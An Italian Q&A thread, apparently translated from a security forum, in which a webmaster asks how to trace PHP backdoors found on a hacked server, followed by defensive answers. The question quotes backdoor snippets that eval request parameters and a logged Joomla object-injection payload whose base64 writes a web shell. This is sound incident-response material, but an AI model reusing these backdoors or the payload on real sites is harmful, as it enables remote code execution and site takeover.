Come posso determinare da dove proviene lo script iniettato?

0

Ho un server che al momento è stato violato. I file vengono creati sul mio server con contenuti di questo tipo:

if(isset($_REQUEST['oUS'])){/*PJEG*/eval($_REQUEST['oUS']);/*z*/exit;/*Lv*/}

O come questo:

<?php /*auV*/if/*fpFF*/(isset($_REQUEST['ufopf']))/*LpY*/{/*klY*/$P=/*OMca*/"assert";/*h*/$m=$P/*gN*/(/*N*/$_REQUEST['ufopf'])/*It*/;/*gSAI*/exit;/*W*/}?>

E altri.

Anche lo stesso codice è stato iniettato su più altri file che erano già sul server.

Ho pensato a due possibilità per determinare chi mi ha hackerato e da dove:

Prima ho esaminato i log dal server (GET, richieste POST) per vedere cosa è successo, quando, l'IP da dove è stata fatta la richiesta, ecc. Non ha avuto successo, non ho trovato nulla che potesse suggerire chi e come il server è stato violato Potrebbe essere attraverso un modulo, potrebbe essere qualsiasi cosa ... Qualche idea su come posso determinarlo?

La seconda cosa che ho provato è stata esaminare i registri FTP. Pensavo che qualcuno avesse avuto accesso ad esso e caricato quei file malware. Anche in questo caso, non c'era nulla che suggerisse che i file che vedo sul mio server fossero caricati tramite FTP, perché non riuscivo a trovare quei file nei registri FTP.

Chiunque può suggerire qualche altro consiglio o consiglio su questo? Come posso determinare in che modo questi file sono stati creati o caricati sul server? E come posso determinare da dove provengono le richieste dai file iniettati?

Se la mia domanda è estemporanea, accetterò i suggerimenti per eliminarlo e pubblicarlo da qualche altra parte.

Informazioni server:

Versione PHP 5.3.29

Sistema: Linux server.myserver.com 3.10.0-327.4.5.el7.x86_64

Apache 2.0

UPDATE :

Ho trovato alcune linee sospette che assomigliano a questo:

204.12.207.202 - - [13/Jul/2017:16:05:41 +0300] "GET / HTTP/1.1" 200 73776 "-" "}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\0\0\0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:8:\"feed_url\";s:216:\"eval(base64_decode(ZmlsZV9wdXRfY29udGVudHMoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4nL2xseC5waHAnLCc4RDlBQUVFQzREOEU0NDM5Mjk5MDQ2QjhDREIzRjc4MiA8P3BocCBAZXZhbCgkX1BPU1RbInhpYW9iYWlmayJdKTsnKTs));JFactory::getConfig();exit;\";s:19:\"cache_name_function\";s:6:\"assert\";s:5:\"cache\";b:1;s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}i:1;s:4:\"init\";}}s:13:\"\0\0\0connection\";b:1;}\xf0\x9d\x8c\x86"
    
posta Ionut 20.07.2017 - 13:25
fonte

3 risposte

1

Per cominciare puoi provare a controllare il timestamp di quei file. Potresti vedere più di un'infezione; se il tuo sito è vulnerabile ed è stato scansionato da X diversi robot che cercano tutti la stessa vulnerabilità, potresti avere tanti script diversi creati da fonti diverse.

Quindi controlla quali richieste sono arrivate all'incirca in quel momento o pochissimi secondi prima e vedi se rilevi uno schema.

Come buona pratica, l'utente che esegue il server Web (sia esso apache, demone, nessuno o www) dovrebbe not avere permessi di scrittura su qualsiasi directory web eccetto il caricamento e le sessioni temporanee; e i file depositati non dovrebbero essere raggiungibili (ad esempio con un file .htaccess di sola lettura nella stessa directory che nega l'accesso a quella directory e tutte le sue sottodirectory ).

    
risposta data 20.07.2017 - 15:32
fonte
0

Non c'è modo di determinare chi ha fatto come coprivano le tracce e avresti un Ip fittizio o falso, una cosa sembra però che il vettore di attacco sia il browser come i suoi dati di pagina php, puoi provare a replicare richiedere e vedere cosa e come è stato iniettato. Non posso dire molto senza log o dettagli completi.

    
risposta data 20.07.2017 - 15:33
fonte
0

Se stai usando Linux, prova a netstat per vedere che cosa sta stabilendo la connessione e che il tuo server sta ascoltando. Con un piccolo codice php che hai fornito, non penso che si tratti delle shell php codificate. Backdoor file sarebbe più accurato in questo caso, perché ha (isset($_REQUEST['oUS']) significa se esiste una richiesta ouS variabile quindi fare qualcosa. Dopo aver usato netstat per vedere cosa sta succedendo, se non vedi nulla di strano, allora questo potrebbe essere già controllato dagli attaccanti, il che significa che possono riconnettersi quando vogliono. Ciò che possiamo fare?. Puoi rintracciarli se conosci il tuo sistema abbastanza bene osservando i processi (HTOP in Linux per esempio), per determinare quei processi sospetti e la sua posizione.

Quindi, al fine di ottimizzare la riservatezza in questo caso, dovresti pensare a ri-impostare i permessi per i file / sottocartelle / le directory sono state infettate. Inoltre, usa iptables per bloccare tutte le porte che non stai utilizzando per ostacolare la connessione dagli aggressori. Dovresti fare una scansione veloce nelle directory che ritieni ci siano possibilità di caricare gli autori di attacchi.

P / s: sarebbe bello se fornisci le informazioni del tuo sistema operativo. (Lo vedo ora)

    
risposta data 21.07.2017 - 09:13
fonte

Leggi altre domande sui tag